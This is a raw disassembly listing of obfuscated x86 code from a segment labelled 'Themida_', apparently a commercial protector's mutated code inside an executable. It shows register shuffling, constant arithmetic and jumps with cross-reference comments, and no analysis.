sub ebx, 4
xchg ebx, [esp]
pop esp
mov [esp], ebp
mov ebp, 48F01E11h
jmp loc_5AE8C3
; ---------------------------------------------------------------------------
loc_59E222: ; CODE XREF: Themida_:005AC656j
xor bl, al
push ebx
sub esp, 4
mov [esp], edx
mov edx, 38h
mov ebx, edx
jmp loc_5A67FD
; ---------------------------------------------------------------------------
loc_59E23A: ; CODE XREF: Themida_:0059C9F2j
add ebp, 66AD2725h
jnz loc_5AD790
jmp loc_599B23
; ---------------------------------------------------------------------------
push ebx
mov ebx, 4
add edi, ebx
pop ecx
loc_59E254: ; CODE XREF: Themida_:0059EA5Cj
pop ebx
push ebp
mov ebp, esp
add ebp, 4
jmp loc_5A7596
; ---------------------------------------------------------------------------
loc_59E263: ; CODE XREF: Themida_:005A17F6j
push eax
jmp loc_5A8C5C
; ---------------------------------------------------------------------------
loc_59E269: ; CODE XREF: Themida_:loc_599A02j
shr esi, 7
neg esi
jp loc_5A7773
add esi, 22C8E3C7h
jmp loc_59E34C
; ---------------------------------------------------------------------------
mov ebx, [esp]
loc_59E282: ; CODE XREF: Themida_:005A613Aj
xchg edx, [esp]
pop esp
mov [esp], eax
mov al, dl
push edx
mov dl, al
mov bl, dl
mov edx, [esp]
add esp, 4
jmp loc_5AE15C
; ---------------------------------------------------------------------------
loc_59E29B: ; CODE XREF: Themida_:005AAEEDj
add esp, 4
and bl, 16h
xor bl, 0Fh
add ch, 2Ch
push eax
mov ah, 0C4h
sub ch, ah
pop eax
add ch, bl
push eax
jmp loc_5A7A35
; ---------------------------------------------------------------------------
loc_59E2B5: ; CODE XREF: Themida_:0059A960j
add esi, 6194B4Bh
jmp loc_5A900D
; ---------------------------------------------------------------------------
loc_59E2C0: ; CODE XREF: Themida_:0059E92Dj
pop eax
jmp loc_5A2E9F
; ---------------------------------------------------------------------------
loc_59E2C6: ; CODE XREF: Themida_:0059B460j
pop edi
jmp loc_5AE353
; ---------------------------------------------------------------------------
loc_59E2CC: ; CODE XREF: Themida_:0059AB08j
push ebp
mov ebp, 4
add eax, ebp
pop ebp
jmp loc_5A7A3C
; ---------------------------------------------------------------------------
loc_59E2DA: ; CODE XREF: Themida_:0059C5D0j
and ebx, 45387091h
jmp loc_5AA65B
; ---------------------------------------------------------------------------
loc_59E2E5: ; CODE XREF: Themida_:005A96CAj
push dword ptr [esp]
pop esi
add esp, 4
push 1694h
mov [esp], ebx
jmp loc_59FDE4
; ---------------------------------------------------------------------------
xor [esp], cx
xor cx, [esp]
xor [esp], cx
sub esp, 2
mov [esp], cx
push bp
mov cx, [esp]
jmp loc_59F451
; ---------------------------------------------------------------------------
loc_59E31D: ; CODE XREF: Themida_:005AB171j
add ebp, 97045F98h
jmp loc_5A9094
; ---------------------------------------------------------------------------
loc_59E328: ; CODE XREF: Themida_:0059C8FFj
inc esi
and esi, 30C82B1Fh
push edi
mov edi, 462278EEh
or edi, 3FA9288Fh
shl edi, 3
add edi, 7CB5575Fh
or esi, edi
pop edi
jmp loc_59FA3A
; ---------------------------------------------------------------------------
loc_59E34C: ; CODE XREF: Themida_:0059E27Aj
; Themida_:005A43B2j
mov edx, 29CB5F6Ah
sub ecx, edx
mov edx, [esp]
add esp, 4
sub ecx, 6F675C58h
sub ecx, 58426ED5h
sub ecx, ebx
add ecx, 58426ED5h
push ebp
mov ebp, 6126223Eh
shr ebp, 3
shr ebp, 6
xor ebp, 6F57CF49h
add ecx, ebp
pop ebp
jmp loc_59F649
; ---------------------------------------------------------------------------
loc_59E387: ; CODE XREF: Themida_:005A6BABj
mov [esp], eax
jmp loc_5ADCBF
; ---------------------------------------------------------------------------
loc_59E38F: ; CODE XREF: Themida_:0059BE65j
mov ebx, 4E165F0Fh
xor ebx, 4E165F0Dh
jmp loc_5A6460
; ---------------------------------------------------------------------------
loc_59E39F: ; CODE XREF: Themida_:loc_5A2204j
neg ebp
inc ebp
jz loc_5A7582
push edx
jmp loc_598D6B
; ---------------------------------------------------------------------------
loc_59E3AE: ; CODE XREF: Themida_:005AA4DAj
push ebp
jmp loc_5A3FB1
; ---------------------------------------------------------------------------
dd offset dword_5CA668
dd 8F06800h, 0E5E90000h
db 0D9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_59E3C3: ; CODE XREF: Themida_:0059B8B5j
sub ebp, 433C5957h
mov edi, [esp]
add esp, 4
add ecx, 794B32BBh
jmp loc_5A71D6
; ---------------------------------------------------------------------------
loc_59E3DA: ; CODE XREF: Themida_:005A9BD8j
or esi, 0A4713F4h
shr esi, 7
jmp loc_5AE7EB
; ---------------------------------------------------------------------------
loc_59E3E8: ; CODE XREF: Themida_:005A155Aj
push esp
pop ecx
add ecx, 4
jmp loc_5AE14D
; ---------------------------------------------------------------------------
loc_59E3F5: ; CODE XREF: Themida_:005AE856j
sub edx, 62FB32ABh
pop esi
sub esp, 4
mov [esp], ebx
jmp loc_59F941
; ---------------------------------------------------------------------------
loc_59E407: ; CODE XREF: Themida_:loc_5A4E94j
add ecx, 5EC81022h
mov ebx, ecx
pop ecx
neg ebx
sub esp, 4
jmp loc_59FCCA
; ---------------------------------------------------------------------------
loc_59E41D: ; CODE XREF: Themida_:0059AD86j
; Themida_:005A6C38j
add edi, edx
add edi, 2BA11727h
pop edx
push ebp
mov ebp, 4
push ecx
mov ecx, 6E22045Dh
add edi, ecx
pop ecx
sub edi, ebp
sub edi, 6E22045Dh
pop ebp
xchg edi, [esp]
pop esp
jmp loc_5AB664
; ---------------------------------------------------------------------------
loc_59E447: ; CODE XREF: Themida_:0059CDDFj
add bl, 9
xor bl, 0ADh
sub ch, bl
jmp loc_59F2E5
; ---------------------------------------------------------------------------
loc_59E454: ; CODE XREF: Themida_:005AADE1j
; Themida_:005AE171j
push edi
mov edi, 2BAE2CC3h
sub [esp+0Ch], edi
pop edi
sub [esp+8], ebx
add dword ptr [esp+8], 2BAE2CC3h
pop ebx
add dword ptr [esp+4], 2D02246Eh
sub [esp+4], ecx
sub dword ptr [esp+4], 2D02246Eh
add dword ptr [esp+4], 1ABD5205h
pop ecx
add [esp], eax
push ebp
push ebx
jmp loc_59D46D
; ---------------------------------------------------------------------------
loc_59E493: ; CODE XREF: Themida_:0059916Bj
dec ebp
push esi
push 6E3Ah
mov [esp], ebx
mov ebx, 6DD221B6h
dec ebx
xor ebx, 1058465Ch
jmp loc_5A854B
; ---------------------------------------------------------------------------
loc_59E4AE: ; CODE XREF: Themida_:005AEF1Dj
sub esp, 4
jmp loc_59AE67
; ---------------------------------------------------------------------------
loc_59E4B6: ; CODE XREF: Themida_:005A1CDCj
add ebx, 4
add ebx, 4
xor ebx, [esp]
xor [esp], ebx
xor ebx, [esp]
jmp loc_5A9774
; ---------------------------------------------------------------------------
loc_59E4CD: ; CODE XREF: Themida_:005A494Fj
mov ebx, 5CC41433h
push esi
mov esi, 6A9B066Eh
xor ebx, esi
mov esi, [esp]
add esp, 4
jmp loc_59ADD2
; ---------------------------------------------------------------------------
loc_59E4E5: ; CODE XREF: Themida_:0059A894j
; Themida_:005AAC35j
jp loc_5A6189
sub esp, 4
mov [esp], ebx
jmp loc_5A53E9
; ---------------------------------------------------------------------------
inc ebp
dec ebp
loc_59E4F8: ; CODE XREF: Themida_:005A60D1j
add esp, 4
pop dword ptr [eax]
push 751Eh
jmp loc_59E6F3
; ---------------------------------------------------------------------------
loc_59E507: ; CODE XREF: Themida_:005A9A8Cj
push 200Ch
mov [esp], eax
mov ah, 0E4h
push ecx
jmp loc_59E997
; ---------------------------------------------------------------------------
loc_59E517: ; CODE XREF: Themida_:0059C076j
mov [esp], ebp
jmp loc_5ACA90
; ---------------------------------------------------------------------------
loc_59E51F: ; CODE XREF: Themida_:005A590Bj
mov esp, [esp]
add edi, 55CD2E16h
sub edi, 23AA0990h
push eax
mov eax, 0B811670h
push edx
mov edx, 57E10761h
not edx
and edx, 3F475AE3h
neg edx
xor edx, 1BC25CBDh
sub edx, 372100D3h
sub edx, 96ADC206h
add eax, edx
pop edx
jmp loc_5997C6
; ---------------------------------------------------------------------------
loc_59E55E: ; CODE XREF: Themida_:005A9B3Fj
xor [esp], eax
xor eax, [esp]
mov esp, [esp]
add [esp], al
pushf
jmp loc_59838C
; ---------------------------------------------------------------------------
loc_59E570: ; CODE XREF: Themida_:005A2D25j
xor esi, [esp]
xor [esp], esi
xor esi, [esp]
pop esp
add edi, 2
jmp loc_5ADB3D
; ---------------------------------------------------------------------------
loc_59E585: ; CODE XREF: Themida_:005A1BF5j
xchg ecx, [esp]
pop esp
mov ebx, [esp]
push 101Fh
mov [esp], ebp
push 73B2h
mov [esp], esp
add dword ptr [esp], 4
push dword ptr [esp]
jmp loc_5ABF2B
; ---------------------------------------------------------------------------
loc_59E5A8: ; CODE XREF: Themida_:005AABF5j
push 2626h
mov [esp], ecx
sub esp, 4
mov [esp], esi
mov esi, 51247BA7h
not esi
not esi
add esi, 0AEDB845Ah
mov ecx, esi
pop esi
or [edi+1Ch], ecx
jmp loc_59DC6C
; ---------------------------------------------------------------------------
loc_59E5D0: ; CODE XREF: Themida_:005A9023j
push edx
push esi
jmp loc_59EAFB
; ---------------------------------------------------------------------------
loc_59E5D7: ; CODE XREF: Themida_:005AE36Bj
xchg ebp, [esp]
mov esp, [esp]
btc [esp], ax
pushf
jmp loc_59838C
; ---------------------------------------------------------------------------
loc_59E5E8: ; CODE XREF: Themida_:005A5D71j
; Themida_:005AD43Bj
dec ch
jmp loc_5ABB72
; ---------------------------------------------------------------------------
loc_59E5EF: ; CODE XREF: Themida_:005A4132j
pop ebx
shl edi, 3
shr edi, 4
sub edi, 5C9D533Fh
xor edi, 0FA272ACh
neg edi
xor edi, 58717484h
xor ecx, edi
jmp loc_59EB3E
; ---------------------------------------------------------------------------
loc_59E611: ; CODE XREF: Themida_:0059BA71j
push esi
mov esi, esp
add esi, 4
add esi, 4
xchg esi, [esp]
pop esp
push ebp
push ebx
mov ebx, 73011568h
inc ebx
jnp loc_598A15
push ebx
push ecx
jmp loc_5AD3DC
; ---------------------------------------------------------------------------
loc_59E636: ; CODE XREF: Themida_:005AD79Dj
pop ebx
xchg edi, [esp]
pop esp
mov esi, [esp]
add esp, 4
push ecx
mov ecx, 4
jmp loc_59B780
; ---------------------------------------------------------------------------
loc_59E64C: ; CODE XREF: Themida_:005A22C8j
; Themida_:005A239Cj
add esp, 4
push 6EC8h
mov [esp], ebx
push ecx
mov ecx, 16A20FBCh
mov ebx, ecx
pop ecx
jmp loc_5A897B
; ---------------------------------------------------------------------------
loc_59E665: ; CODE XREF: Themida_:005AC480j
jmp loc_59EB22
; ---------------------------------------------------------------------------
loc_59E66A: ; CODE XREF: Themida_:0059A8E7j
xor [esp], ecx
xor ecx, [esp]
pop esp
jmp loc_59877D
; ---------------------------------------------------------------------------
loc_59E676: ; CODE XREF: Themida_:005A3CE7j
xor eax, [esp]
jmp loc_599F38
; ---------------------------------------------------------------------------
loc_59E67E: ; CODE XREF: Themida_:005A9817j
mov esi, esp
add esi, 4
push ebx
mov ebx, 4
add esi, ebx
pop ebx
jmp loc_5A9D0B
; ---------------------------------------------------------------------------
loc_59E694: ; CODE XREF: Themida_:0059BF16j
mov ecx, 251A2702h
xor ecx, eax
pop eax
sub ebx, 76E66560h
sub ebx, 208C6549h
add ebx, ecx
add ebx, 208C6549h
add ebx, 76E66560h
mov ecx, [esp]
push ebx
mov ebx, esp
add ebx, 4
push edi
mov edi, 4
add ebx, edi
jmp loc_5A5D82
; ---------------------------------------------------------------------------
loc_59E6CF: ; CODE XREF: Themida_:005AEC8Bj
mov ecx, [esp]
add esp, 4
xor esi, [esp]
xor [esp], esi
xor esi, [esp]
mov esp, [esp]
xor ebx, eax
push 177Eh
mov [esp], ebx
jmp loc_5A2B39
; ---------------------------------------------------------------------------
loc_59E6F3: ; CODE XREF: Themida_:0059E502j
; Themida_:005A8D1Dj
mov [esp], ecx
jmp loc_59F824
; ---------------------------------------------------------------------------
loc_59E6FB: ; CODE XREF: Themida_:005A3202j
pop ebp
add ecx, 4
xchg ecx, [esp]
mov esp, [esp]
push edx
push 3AF5h
jmp loc_59886E
; ---------------------------------------------------------------------------
loc_59E713: ; CODE XREF: Themida_:005A3F4Ej
mov edx, 75626F9Fh
not edx
sub edx, 367EE5CAh
sub ebx, edx
pop edx
push 73DAh
mov [esp], ebx
add dword ptr [esp], 19A0603Fh
jmp loc_599485
; ---------------------------------------------------------------------------
loc_59E737: ; CODE XREF: Themida_:005A4B79j
sub ebx, 1D0B5241h
mov ecx, [esp]
jmp loc_5ABA16
; ---------------------------------------------------------------------------
loc_59E745: ; CODE XREF: Themida_:005A41D8j
push ebx
mov bh, dl
jmp loc_59D150
; ---------------------------------------------------------------------------
loc_59E74D: ; CODE XREF: Themida_:0059D30Cj
; Themida_:loc_5A1F8Dj
sub ebp, 64A45C2Dh
jmp loc_5A9B95
; ---------------------------------------------------------------------------
loc_59E758: ; CODE XREF: Themida_:0059D157j
add esp, 4
sub ah, 40h
or ah, 52h
dec ah
jmp loc_5A7A4D
; ---------------------------------------------------------------------------
loc_59E768: ; CODE XREF: Themida_:005A2D0Cj
push ebx
push esp
pop ebx
add ebx, 4
push ecx
push ebx
mov ebx, 4
mov ecx, ebx
pop ebx
add ebx, ecx
pop ecx
push ebx
push dword ptr [esp+4]
pop ebx
pop dword ptr [esp]
mov esp, [esp]
push 78FDh
mov [esp], edx
mov edx, esp
jmp loc_5ACEE0
; ---------------------------------------------------------------------------
loc_59E799: ; CODE XREF: Themida_:005A944Ej
xor ebp, edx
pop edx
mov ecx, ebp
pop ebp
sub ecx, edx
pop edx
xor ecx, ebx
pop ebx
add esi, ecx
pop ecx
sub edx, 275A3024h
jmp loc_5A7EF4
; ---------------------------------------------------------------------------
loc_59E7B3: ; CODE XREF: Themida_:005A9FFAj
add dword ptr [esp], 4
mov ecx, [esp]
add esp, 4
add ecx, 4
jmp loc_5A7AC7
; ---------------------------------------------------------------------------
loc_59E7CE: ; CODE XREF: Themida_:005989B5j
mov eax, 415E6D59h
sub ebp, eax
pop eax
push ebx
mov ebx, 7C1A743Ch
sub ebx, 6C5F3211h
sub ebx, 0F3212D3Ch
add ebp, ebx
jmp loc_59D919
; ---------------------------------------------------------------------------
loc_59E7EF: ; CODE XREF: Themida_:0059BA4Bj
push 0FF3h
jmp loc_5AEF0B
; ---------------------------------------------------------------------------
loc_59E7F9: ; CODE XREF: Themida_:005A09D2j
xor ebp, 0CE7F0A6Ch
mov esi, ebp
mov ebp, [esp]
sub esp, 4
jmp loc_5A7B8E
; ---------------------------------------------------------------------------
loc_59E80C: ; CODE XREF: Themida_:0059F348j
add ebp, 68016A0Ch
pop ebx
add ebp, 2
push 62EFh
mov [esp], ebp
push dword ptr [esp+4]
jmp loc_5A2E14
; ---------------------------------------------------------------------------
loc_59E827: ; CODE XREF: Themida_:005A08C2j
add esp, 4
push eax
push dword ptr [esp+4]
pop eax
jmp loc_5A6B33
; ---------------------------------------------------------------------------
loc_59E838: ; CODE XREF: Themida_:0059A4B9j
xchg eax, [esp]
jmp loc_5AF0A5
; ---------------------------------------------------------------------------
loc_59E840: ; CODE XREF: Themida_:005A7F92j
xor [esp], ebx
jmp loc_59A231
; ---------------------------------------------------------------------------
loc_59E848: ; CODE XREF: Themida_:005A82C0j
mov ebp, ecx
pop ecx
jmp loc_5A445B
; ---------------------------------------------------------------------------
loc_59E850: ; CODE XREF: Themida_:0059A539j
jbe loc_5A6C3D
jmp loc_59B615
; ---------------------------------------------------------------------------
loc_59E85B: ; CODE XREF: Themida_:0059F6AFj
sub ebp, 4
jmp loc_5A4EF7
; ---------------------------------------------------------------------------
loc_59E863: ; CODE XREF: Themida_:0059CC61j
shl edx, 1
js loc_5ABFFE
push 51D8h
mov [esp], ebp
jmp loc_59DDB8
; ---------------------------------------------------------------------------
loc_59E878: ; CODE XREF: Themida_:005ACF03j
pop esi
add ecx, edx
jmp loc_5A398A
; ---------------------------------------------------------------------------
loc_59E880: ; CODE XREF: Themida_:005AAF83j
xchg edx, ecx
not edx
xchg edx, ecx
shl ecx, 5
add ecx, 11AC430Eh
xor ecx, 0D1DF8C2Ah
jmp loc_5A88A3
; ---------------------------------------------------------------------------
loc_59E89A: ; CODE XREF: Themida_:005AA523j
push 0
push dword ptr [esp]
jmp loc_5A941F
; ---------------------------------------------------------------------------
loc_59E8A7: ; CODE XREF: Themida_:005A58A2j
jmp loc_5A2B46
; ---------------------------------------------------------------------------
loc_59E8AC: ; CODE XREF: Themida_:0059FC3Ej
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
jmp loc_5AD188
; ---------------------------------------------------------------------------
mov cx, [esp]
sub esp, 4
mov [esp], eax
push esp
pop eax
push esi
mov esi, 4
add eax, 4934863h
add eax, esi
sub eax, 4934863h
pop esi
sub esp, 4
mov [esp], ebx
push 6F91h
mov [esp], esp
add dword ptr [esp], 4
pop ebx
jmp loc_5A4FAF
; ---------------------------------------------------------------------------
loc_59E8FE: ; CODE XREF: Themida_:005A57F4j
xchg eax, [esp]
pop esp
add eax, 4CD9627Ah
jmp loc_5988A2
; ---------------------------------------------------------------------------
loc_59E90C: ; CODE XREF: Themida_:005AC617j
shr esi, 2
inc esi
xor esi, 25B086Fh
jmp loc_59D8DD
; ---------------------------------------------------------------------------
loc_59E91B: ; CODE XREF: Themida_:005A5687j
add esi, ecx
pop ecx
add eax, esi
mov esi, [esp]
push eax
mov eax, esp
jmp loc_5A6A2C
; ---------------------------------------------------------------------------
loc_59E92B: ; CODE XREF: Themida_:005ABCF9j
sub edi, eax
jmp loc_59E2C0
; ---------------------------------------------------------------------------
loc_59E932: ; CODE XREF: Themida_:005A690Cj
mov bx, [esp]
jmp loc_5A7CBE
; ---------------------------------------------------------------------------
loc_59E93B: ; CODE XREF: Themida_:005A6941j
push 7C7041FEh
pop edi
add edi, 51315738h
not edi
push eax
mov eax, 187A5B87h
jmp loc_59C829
; ---------------------------------------------------------------------------
loc_59E954: ; CODE XREF: Themida_:005AA13Aj
jmp loc_5A9D44
; ---------------------------------------------------------------------------
loc_59E959: ; CODE XREF: Themida_:005A8288j
pop ebp
add edi, 0AD6CD5ECh
push 1E66h
mov [esp], edi
mov edi, 161059CDh
jmp loc_5A1B7F
; ---------------------------------------------------------------------------
loc_59E972: ; CODE XREF: Themida_:005A5719j
sub esp, 4
mov [esp], ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xor ebp, [esp]
xor [esp], ebp
xor ebp, [esp]
mov esp, [esp]
mov [esp], ebx
jmp loc_5A90C6
; ---------------------------------------------------------------------------
loc_59E997: ; CODE XREF: Themida_:0059E512j
mov cl, 0ECh
sub ah, 57h
sub ah, cl
add ah, 57h
pop ecx
or ah, 0Eh
jnz loc_5A52B8
shr ah, 1
jp loc_59C7A1
jmp loc_5AF25D
; ---------------------------------------------------------------------------
loc_59E9B8: ; CODE XREF: Themida_:005A4DF2j
pop ebx
push edx
jmp loc_59F9AB
; ---------------------------------------------------------------------------
loc_59E9BF: ; CODE XREF: Themida_:0059F50Bj
mov [esp], ecx
mov ecx, 54DC26FFh
shl ecx, 2
add ecx, 7FA5D8Fh
jmp loc_5AE510
; ---------------------------------------------------------------------------
loc_59E9D5: ; CODE XREF: Themida_:005AB9F6j
sub ebp, 5DB31F1Fh
add ebp, esi
add ebp, 5DB31F1Fh
push esi
jmp loc_5A3B97
; ---------------------------------------------------------------------------
loc_59E9E9: ; CODE XREF: Themida_:0059D85Aj
mov ebx, 55CB2CBBh
jmp loc_5A08F1
; ---------------------------------------------------------------------------
loc_59E9F3: ; CODE XREF: Themida_:0059C9E8j
and ebx, 78A1764Bh
xor ebx, 10201244h
add ebp, ebx
pop ebx
sub esp, 4
mov [esp], edi
push eax
mov eax, 283630A6h
mov edi, 283630A2h
xor edi, eax
pop eax
sub ebp, edi
pop edi
push ebp
push dword ptr [esp+4]
pop ebp
pop dword ptr [esp]
mov esp, [esp]
mov [esp], ecx
jmp loc_59B3E3
; ---------------------------------------------------------------------------
loc_59EA2D: ; CODE XREF: Themida_:005A1480j
or eax, eax
jz loc_59A361
push dword ptr [edi+1Ch]
sub esp, 4
mov [esp], ebx
push edx
mov edx, 75F45338h
jmp loc_59F000
; ---------------------------------------------------------------------------
loc_59EA4C: ; CODE XREF: Themida_:005AC806j
; Themida_:005ADA32j
mov [esp], eax
mov al, bl
mov cl, al
mov eax, [esp]
add esp, 4
push dword ptr [esp]
jmp loc_59E254
; ---------------------------------------------------------------------------
loc_59EA61: ; CODE XREF: Themida_:0059BF26j
inc eax
shr eax, 6
or eax, 761C4CB3h
add eax, 0E03A9426h
xor edi, eax
jmp loc_59BA1F
; ---------------------------------------------------------------------------
loc_59EA76: ; CODE XREF: Themida_:005A4E8Fj
mov eax, esp
add eax, 4
sub eax, 4
push 7A6h
mov [esp], eax
push dword ptr [esp+4]
jmp loc_599BE9
; ---------------------------------------------------------------------------
loc_59EA91: ; CODE XREF: Themida_:005A0C2Dj
pop eax
jmp loc_5AE064
; ---------------------------------------------------------------------------
loc_59EA97: ; CODE XREF: Themida_:loc_5A161Bj
; Themida_:005A18E5j
push 5FCDh
mov [esp], ebp
pop ebx
mov ebp, [esp]
add esp, 4
sub esp, 4
mov [esp], esi
mov esi, 72966013h
and ebx, esi
mov esi, [esp]
add esp, 4
push edx
mov edx, 0A812A6Dh
jmp loc_5A70F5
; ---------------------------------------------------------------------------
loc_59EACA: ; CODE XREF: Themida_:00599B82j
neg dl
jz loc_59D2CD
and dl, 0A8h
sub dl, 0D6h
shr dl, 7
jmp loc_5A61A6
; ---------------------------------------------------------------------------
loc_59EAE0: ; CODE XREF: Themida_:005A9E44j
mov bp, 1FAAh
add [esp+4], bp
jmp loc_598AA0
; ---------------------------------------------------------------------------
loc_59EAEE: ; CODE XREF: Themida_:005A6D5Cj
mov edx, [esp]
jmp loc_5A0129
; ---------------------------------------------------------------------------
loc_59EAF6: ; CODE XREF: Themida_:005A6B39j
jmp loc_59838C
; ---------------------------------------------------------------------------
loc_59EAFB: ; CODE XREF: Themida_:0059E5D2j
push 557A1D77h
pop esi
dec esi
jz loc_5ABC68
xor esi, 0E7825D5h
mov edx, esi
jmp loc_5A9260
; ---------------------------------------------------------------------------
loc_59EB15: ; CODE XREF: Themida_:005AA4C3j
push 1745h
mov [esp], ebp
jmp loc_59C94C
; ---------------------------------------------------------------------------
loc_59EB22: ; CODE XREF: Themida_:loc_59E665j
neg edx
jle loc_59EF67
jmp loc_5A2BAD
; ---------------------------------------------------------------------------
sub eax, 5E995046h
xor ebp, eax
loc_59EB36: ; CODE XREF: Themida_:005AE0AFj
shr eax, 2
jmp loc_5A380A
; ---------------------------------------------------------------------------
loc_59EB3E: ; CODE XREF: Themida_:0059E60Cj
; Themida_:005A49C8j
mov edi, [esp]
add esp, 4
and eax, ecx
jmp loc_5A3207
; ---------------------------------------------------------------------------
loc_59EB4E: ; CODE XREF: Themida_:0059F33Bj
pop esp
and [edi+1Ch], ebp
push dword ptr [esp]
pop ebp
push 3F9Ch
mov [esp], edx
sub esp, 4
mov [esp], esp
add dword ptr [esp], 4
mov edx, [esp]
add esp, 4
add edx, 4
add edx, 4
sub esp, 4
mov [esp], edx
push dword ptr [esp+4]
push dword ptr [esp]
jmp loc_5A05F9
; ---------------------------------------------------------------------------
loc_59EB8C: ; CODE XREF: Themida_:005A1FE3j
pop ebp
pop ecx
xor edx, ebx
jmp loc_5A6275
; ---------------------------------------------------------------------------
loc_59EB95: ; CODE XREF: Themida_:005A2B81j
push eax
mov eax, 63F37920h
add eax, 0CB7EDEBDh
add edx, eax
pop eax
jmp loc_59CE3D
; ---------------------------------------------------------------------------
loc_59EBA8: ; CODE XREF: Themida_:005A24D8j
add edx, 51AA6F5Bh
add ebx, edx
mov edx, [esp]
add esp, 4
add ecx, ebx
pop ebx
add ecx, 4
xor ecx, [esp]
xor [esp], ecx
xor ecx, [esp]
mov esp, [esp]
shr eax, 0Eh
xor eax, ecx
push 2753h
mov [esp], eax
push 10C7h
mov [esp], esi
push dword ptr [esp]
mov eax, [esp]
add esp, 4
push 72FDh
mov [esp], esi
mov esi, esp
add esi, 4
add esi, 4
push esi
jmp loc_5A2C19
; ---------------------------------------------------------------------------
loc_59EC05: ; CODE XREF: Themida_:005A87E2j
pop edx
shl edi, 6
shl edi, 1
sub edi, 0FFFFFFFFh
jmp loc_59D68C
; ---------------------------------------------------------------------------
loc_59EC16: ; CODE XREF: Themida_:005A3303j
push 19F009B7h
pop ecx
jmp loc_59C931
; ---------------------------------------------------------------------------
loc_59EC21: ; CODE XREF: Themida_:loc_5A6D1Ej
push ecx
mov ecx, 44296A9Ch
and eax, ecx
mov ecx, [esp]
push ebp
jmp loc_59BE38
; ---------------------------------------------------------------------------
loc_59EC32: ; CODE XREF: Themida_:005A7D33j
pop edx
push ecx
mov ecx, 6CB60E37h
shr ecx, 3
not ecx
or ecx, 64F31365h
push esi
mov esi, 0D2F6EC5Dh
sub ecx, 6CE31A8h
sub ecx, esi
add ecx, 6CE31A8h
pop esi
jmp loc_5A0EC3
; ---------------------------------------------------------------------------
loc_59EC5E: ; CODE XREF: Themida_:005A9601j
xchg ecx, [esp]
jmp loc_5990A3
; ---------------------------------------------------------------------------
loc_59EC66: ; CODE XREF: Themida_:005A7491j
pop ebp
push 2429h
jmp loc_599B0A
; ---------------------------------------------------------------------------
loc_59EC71: ; CODE XREF: Themida_:005994DDj
shr ebx, 8
neg ebx
jmp loc_5AE2AE
; ---------------------------------------------------------------------------
loc_59EC7B: ; CODE XREF: Themida_:005A5B15j
push ebx
push esp
pop ebx
jmp loc_59D0C6
; ---------------------------------------------------------------------------
loc_59EC83: ; CODE XREF: Themida_:005AB64Aj
; Themida_:005AD9BFj
sub ecx, 24EB6AA7h
jmp loc_598ACC
; ---------------------------------------------------------------------------
loc_59EC8E: ; CODE XREF: Themida_:005A1882j
push ecx
mov cl, 2Ah
sub cl, 0B7h
xor cl, 9Ch
jmp loc_5AF2F3
; ---------------------------------------------------------------------------
loc_59EC9C: ; CODE XREF: Themida_:005A1B56j
; Themida_:005A3D99j
pop eax
xor esi, ebp
jmp loc_5A1CE1
; ---------------------------------------------------------------------------
loc_59ECA4: ; CODE XREF: Themida_:005AC778j
or ebx, ecx
pop ecx
xor ebx, 42672860h
shl ebx, 1
push edx
mov edx, 5D8B3A5Ch
and edx, 14456230h
push ebx
mov ebx, 33C55CB9h
add edx, 338C0809h
add edx, ebx
sub edx, 338C0809h
pop ebx
inc edx
add edx, 0CF2883DFh
jmp loc_5AED9B
; ---------------------------------------------------------------------------
loc_59ECDC: ; CODE XREF: Themida_:005AC4E7j
mov eax, 4
add ebx, eax
jmp loc_5A5814
; ---------------------------------------------------------------------------
loc_59ECE8: ; CODE XREF: Themida_:005ACDC2j
; Themida_:005AD6E8j
add eax, 3C024B7Dh
add eax, ebp
jmp loc_59BECC
; ---------------------------------------------------------------------------
loc_59ECF4: ; CODE XREF: Themida_:005A62DFj
add esp, 4
jmp loc_59D29C
; ---------------------------------------------------------------------------
loc_59ECFC: ; CODE XREF: Themida_:005AE1FBj
sub ecx, edi
pop edi
jmp loc_5A3665
; ---------------------------------------------------------------------------
loc_59ED04: ; CODE XREF: Themida_:005A50B9j
add esi, 22C8E3C7h
jmp loc_5A1E26
; ---------------------------------------------------------------------------
loc_59ED0F: ; CODE XREF: Themida_:005ADC1Bj
add esp, 4
push eax
push esp
mov eax, [esp]
jmp loc_5A723C
; ---------------------------------------------------------------------------
loc_59ED1F: ; CODE XREF: Themida_:0059EE5Dj
push ecx
jmp loc_5A937F
; ---------------------------------------------------------------------------
loc_59ED25: ; CODE XREF: Themida_:loc_5A854Bj
neg ebx
jbe loc_598FEA
shl ebx, 7
js loc_5A7B88
jmp loc_5A4A22
; ---------------------------------------------------------------------------
pop edi
loc_59ED3C: ; CODE XREF: Themida_:005A19CAj
; Themida_:005A2630j
xor eax, [esp]
mov esp, [esp]
pop ecx
jmp loc_5A3552
; ---------------------------------------------------------------------------
loc_59ED48: ; CODE XREF: Themida_:0059CBABj
; Themida_:005A1B5Cj
add edi, 4
xchg edi, [esp]
pop esp
add ecx, 24EB6AA7h
jmp loc_5AD9BD
; ---------------------------------------------------------------------------
loc_59ED5A: ; CODE XREF: Themida_:005ACCEBj
mov eax, [esp]
add esp, 4
jmp loc_5A9305
; ---------------------------------------------------------------------------
loc_59ED68: ; CODE XREF: Themida_:005ADC77j
add ch, 2Ch
push edx
jmp loc_59ADFE
; ---------------------------------------------------------------------------
loc_59ED71: ; CODE XREF: Themida_:0059F665j
jz loc_59C3DF
xor esi, 2D21BCABh
jmp loc_5ADBDD
; ---------------------------------------------------------------------------
loc_59ED82: ; CODE XREF: Themida_:005A45C2j
; Themida_:005AAE10j
pop edx
push ebp
mov ebp, 38566811h
jmp loc_5A2D32
; ---------------------------------------------------------------------------
mov esp, [esp]
jmp loc_59838C
; ---------------------------------------------------------------------------
loc_59ED96: ; CODE XREF: Themida_:0059FA4Ej
mov [esp], eax
jmp loc_59C1B2
; ---------------------------------------------------------------------------
loc_59ED9E: ; CODE XREF: Themida_:0059E1B6j
sub esp, 4
mov [esp], edx
mov edx, 4
sub ebp, edx
mov edx, [esp]
add esp, 4
jmp loc_5A56B7
; ---------------------------------------------------------------------------
loc_59EDBC: ; CODE XREF: Themida_:005A8819j
mov eax, [esp]
add esp, 4
or bl, 99h
jnp loc_5A614C
jmp loc_59BC53
; ---------------------------------------------------------------------------
loc_59EDD3: ; CODE XREF: Themida_:0059F1E1j
add edi, ebx
sub edi, 49341C85h
push dword ptr [esp]
pop ebx
push esi
mov esi, esp
jmp loc_5A2D19
; ---------------------------------------------------------------------------
